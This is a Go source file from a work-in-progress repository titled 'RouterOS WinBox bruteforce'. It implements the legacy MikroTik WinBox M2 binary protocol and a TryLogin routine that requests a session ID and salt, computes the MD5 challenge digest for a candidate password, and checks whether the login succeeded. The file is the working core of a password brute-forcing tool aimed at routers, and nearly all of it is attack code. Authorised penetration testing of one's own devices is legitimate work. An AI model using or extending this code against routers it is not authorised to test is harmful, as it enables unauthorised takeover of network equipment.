📶 [WIP] RouterOS WinBox bruteforce
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
mtbf/legacy-winbox.go

420 lines
9.3 KiB

package main
import (
"bytes"
"crypto/md5"
"encoding/binary"
"errors"
"fmt"
"io"
"strconv"
)
const MT_BOOL_FALSE byte = 0x00
const MT_BOOL_TRUE byte = 0x01
const MT_DWORD byte = 0x08
const MT_BYTE byte = 0x09
const MT_STRING byte = 0x21
const MT_HASH byte = 0x31
const MT_ARRAY byte = 0x88
const MT_RECEIVER = 0xFF0001
const MT_SENDER = 0xFF0002
const MT_REPLY_EXPECTED = 0xFF0005
const MT_REQUEST_ID = 0xFF0006
const MT_COMMAND = 0xFF0007
type M2Element struct {
code int
value interface{}
}
func (el *M2Element) String() string {
return fmt.Sprintf("code=%v,type=%T,value=%v", el.code, el.value, el.value)
}
type M2Message struct {
el []M2Element
}
type M2Hash string
func NewM2Message() *M2Message {
m2 := M2Message{}
return &m2
}
func (m2 *M2Message) Clear() {
m2.el = []M2Element{}
}
func (m2 *M2Message) Append(code int, value interface{}) {
if m2.el == nil {
m2.Clear()
}
m2.el = append(m2.el, M2Element{code: code, value: value})
}
func (m2 *M2Message) AppendElement(el *M2Element) {
if m2.el == nil {
m2.Clear()
}
m2.el = append(m2.el, *el)
}
func (m2 *M2Message) Bytes() []byte {
res := []byte{}
for _, el := range m2.el {
buf := new(bytes.Buffer)
binary.Write(buf, binary.LittleEndian, uint16(el.code))
binary.Write(buf, binary.LittleEndian, byte(el.code>>16))
switch v := el.value.(type) {
case bool:
binary.Write(buf, binary.LittleEndian, v)
case byte:
binary.Write(buf, binary.LittleEndian, byte(MT_BYTE))
binary.Write(buf, binary.LittleEndian, v)
case int:
binary.Write(buf, binary.LittleEndian, byte(MT_DWORD))
binary.Write(buf, binary.LittleEndian, int32(v))
case uint:
binary.Write(buf, binary.LittleEndian, byte(MT_DWORD))
binary.Write(buf, binary.LittleEndian, uint32(v))
case string:
binary.Write(buf, binary.LittleEndian, byte(MT_STRING))
binary.Write(buf, binary.LittleEndian, byte(len(v)))
binary.Write(buf, binary.LittleEndian, []byte(v))
case M2Hash:
binary.Write(buf, binary.LittleEndian, byte(MT_HASH))
binary.Write(buf, binary.LittleEndian, byte(len(v)))
binary.Write(buf, binary.LittleEndian, []byte(v))
case []byte:
binary.Write(buf, binary.LittleEndian, byte(MT_ARRAY))
binary.Write(buf, binary.LittleEndian, uint16(len(v)))
for _, i := range v {
binary.Write(buf, binary.LittleEndian, int32(i))
}
case []int:
binary.Write(buf, binary.LittleEndian, byte(MT_ARRAY))
binary.Write(buf, binary.LittleEndian, uint16(len(v)))
for _, i := range v {
binary.Write(buf, binary.LittleEndian, int32(i))
}
}
res = append(res, buf.Bytes()...)
}
header := make([]byte, 6)
header[0] = byte(len(res) + 4)
header[1] = 0x01
header[2] = 0x00
header[3] = byte(len(res) + 2)
header[4] = 0x4D
header[5] = 0x32
return append(header, res...)
}
func (m2 *M2Message) ParseM2Element(buf io.Reader) error {
var codeAndType uint32
err := binary.Read(buf, binary.LittleEndian, &codeAndType)
if err != nil {
return err
}
el := M2Element{code: int(codeAndType & 0x00FFFFFF)}
keyType := byte(codeAndType >> 24)
log("lw", 3, "m2 code=%v type=%v", el.code, keyType)
switch keyType {
case MT_BOOL_FALSE, MT_BOOL_TRUE:
el.value = keyType == MT_BOOL_TRUE
log("lw", 3, "m2 MT_BOOL: %v", el.value.(bool))
case MT_BYTE:
var b byte
err = binary.Read(buf, binary.LittleEndian, &b)
el.value = b
log("lw", 3, "m2 MT_BYTE: %v", el.value.(byte))
case MT_DWORD:
var b int32
err = binary.Read(buf, binary.LittleEndian, &b)
el.value = b
log("lw", 3, "m2 MT_DWORD: %v", el.value.(int32))
case MT_STRING:
var length byte
err = binary.Read(buf, binary.LittleEndian, &length)
if err != nil {
return err
}
bs := make([]byte, length)
_, err = io.ReadFull(buf, bs)
el.value = string(bs)
log("lw", 3, "m2 MT_STRING (len %v): %v", length, el.value.(string))
case MT_HASH:
var length byte
err = binary.Read(buf, binary.LittleEndian, &length)
if err != nil {
return err
}
bs := make([]byte, length)
_, err = io.ReadFull(buf, bs)
el.value = M2Hash(bs)
log("lw", 3, "m2 MT_HASH (len %v): %v", length, []byte(el.value.(M2Hash)))
case MT_ARRAY:
var length uint16
err = binary.Read(buf, binary.LittleEndian, &length)
if err != nil {
return err
}
sl := []int{}
for i := 0; i < int(length); i++ {
var el2 int32
err = binary.Read(buf, binary.LittleEndian, &el2)
if err != nil {
break
}
sl = append(sl, int(el2))
}
el.value = sl
log("lw", 3, "m2 MT_HASH (len %v): %v", length, el.value.([]int))
default:
return errors.New("unknown key code " + strconv.Itoa(int(keyType)))
}
if err != nil {
return err
}
m2.el = append(m2.el, el)
return nil
}
func (m2 *M2Message) ParseM2Message(buf io.Reader) error {
var headerBlockSize, m2BlockSize byte
var m2Extra, m2Header uint16
err := binary.Read(buf, binary.LittleEndian, &headerBlockSize)
err = binary.Read(buf, binary.LittleEndian, &m2Extra)
err = binary.Read(buf, binary.LittleEndian, &m2BlockSize)
err = binary.Read(buf, binary.LittleEndian, &m2Header)
if err != nil {
return err
}
if m2Extra != 0x1 {
return errors.New("invalid M2_EXTRA")
}
if m2Header != 0x324D {
return errors.New("invalid M2_HEADER")
}
for {
log("lw", 3, "parsing new m2 element")
err := m2.ParseM2Element(buf)
if err != nil {
return err
}
}
}
func ParseM2Messages(src []byte) (messages []M2Message, err error) {
messages = []M2Message{}
buf := bytes.NewReader(src)
for {
m2 := NewM2Message()
err := m2.ParseM2Message(buf)
if err == io.EOF {
messages = append(messages, *m2)
break
} else if err != nil {
return nil, err
} else {
messages = append(messages, *m2)
}
}
log("lw", 3, "m2 eof after %v messages", len(messages))
return messages, nil
}
type LegacyWinbox struct {
task *Task
conn *Connection
stage int
m2 []M2Message
}
func NewLegacyWinbox(task *Task, conn *Connection) *LegacyWinbox {
lw := LegacyWinbox{task: task, conn: conn, stage: -1, m2: []M2Message{}}
return &lw
}
// req1
func (lw *LegacyWinbox) MTReqList() []byte {
m2 := NewM2Message()
m2.Append(MT_RECEIVER, []byte{2, 2})
m2.Append(MT_COMMAND, byte(7))
m2.Append(MT_REQUEST_ID, byte(1))
m2.Append(MT_REPLY_EXPECTED, true)
m2.Append(1, "list")
return m2.Bytes()
}
// res1
func (lw *LegacyWinbox) MTGetSid(m2 []M2Message) *M2Element {
for _, msg := range m2 {
for _, el := range msg.el {
if el.code == 0xFE0001 {
return &el
}
}
}
return nil
}
// req2
func (lw *LegacyWinbox) MTReqChallenge(sid *M2Element) []byte {
m2 := NewM2Message()
m2.Append(MT_RECEIVER, []byte{13, 4})
m2.Append(MT_COMMAND, byte(4))
m2.Append(MT_REQUEST_ID, byte(2))
m2.AppendElement(sid)
m2.Append(MT_REPLY_EXPECTED, true)
return m2.Bytes()
}
// res2
func (lw *LegacyWinbox) MTGetSalt(m2 []M2Message) M2Hash {
for _, msg := range m2 {
for _, el := range msg.el {
if el.code == 0x9 {
return el.value.(M2Hash)
}
}
}
return ""
}
// req3
func (lw *LegacyWinbox) MTReqAuth(sid *M2Element, login, digest, salt string) []byte {
m2 := NewM2Message()
m2.Append(MT_RECEIVER, []byte{13, 4})
m2.Append(MT_COMMAND, byte(1))
m2.Append(MT_REQUEST_ID, byte(3))
m2.AppendElement(sid)
m2.Append(MT_REPLY_EXPECTED, true)
m2.Append(1, login)
m2.Append(9, M2Hash(salt))
m2.Append(10, M2Hash(digest))
return m2.Bytes()
}
// res3
func (lw *LegacyWinbox) MTGetResult(m2 []M2Message) (res bool, err error) {
for _, msg := range m2 {
for _, el := range msg.el {
if el.code == 0xA {
_, ok := el.value.(M2Hash)
if ok {
return true, nil
}
} else if el.code == 0xFF0008 {
v, ok := el.value.(int32)
if ok && v == 0xFE0006 {
return false, nil
}
}
}
}
return false, errors.New("no auth marker found")
}
func (lw *LegacyWinbox) SendRecv(buf []byte) (res []byte, err error) {
err = lw.conn.Send(buf)
if err != nil {
log("lw", 1, "failed to send: %v", err.Error())
return nil, err
}
resp, err := lw.conn.Recv()
if err != nil {
log("lw", 1, "failed to recv: %v", err.Error())
return nil, err
}
return resp, nil
}
func (lw *LegacyWinbox) TryLogin() (res bool, err error) {
log("lw", 2, "login: stage 1, req_list")
r1, err := lw.SendRecv(lw.MTReqList())
if err != nil {
return false, err
}
log("lw", 2, "login: stage 2, got response for req_list")
msg, err := ParseM2Messages(r1)
if err != nil {
return false, err
}
sid := lw.MTGetSid(msg)
if sid == nil {
return false, errors.New("failed to get SID from stage 2")
}
log("lw", 2, "login: stage 2, sid %v", sid.String())
r2, err := lw.SendRecv(lw.MTReqChallenge(sid))
if err != nil {
return false, err
}
log("lw", 2, "login: stage 3, got response for req_challenge")
log("lw", 2, "r2: %v", r2)
msg, err = ParseM2Messages(r2)
if err != nil {
return false, err
}
salt := lw.MTGetSalt(msg)
if salt == "" {
return false, errors.New("failed to get salt from stage 3")
}
sl := []byte{0}
sl = append(sl, []byte(lw.task.password)...)
sl = append(sl, []byte(salt)...)
d := md5.Sum(sl)
digest := append([]byte{0}, d[:]...)
log("lw", 2, "login: stage 3, hash %v", digest)
r3, err := lw.SendRecv(lw.MTReqAuth(sid, lw.task.login, string(digest), string(salt)))
if err != nil {
return false, err
}
log("lw", 2, "login: stage 4, got response for req_salt")
msg, err = ParseM2Messages(r3)
if err != nil {
return false, err
}
res, err = lw.MTGetResult(msg)
log("lw", 2, "login: stage 5: res=%v err=%v", res, err)
return res, err
}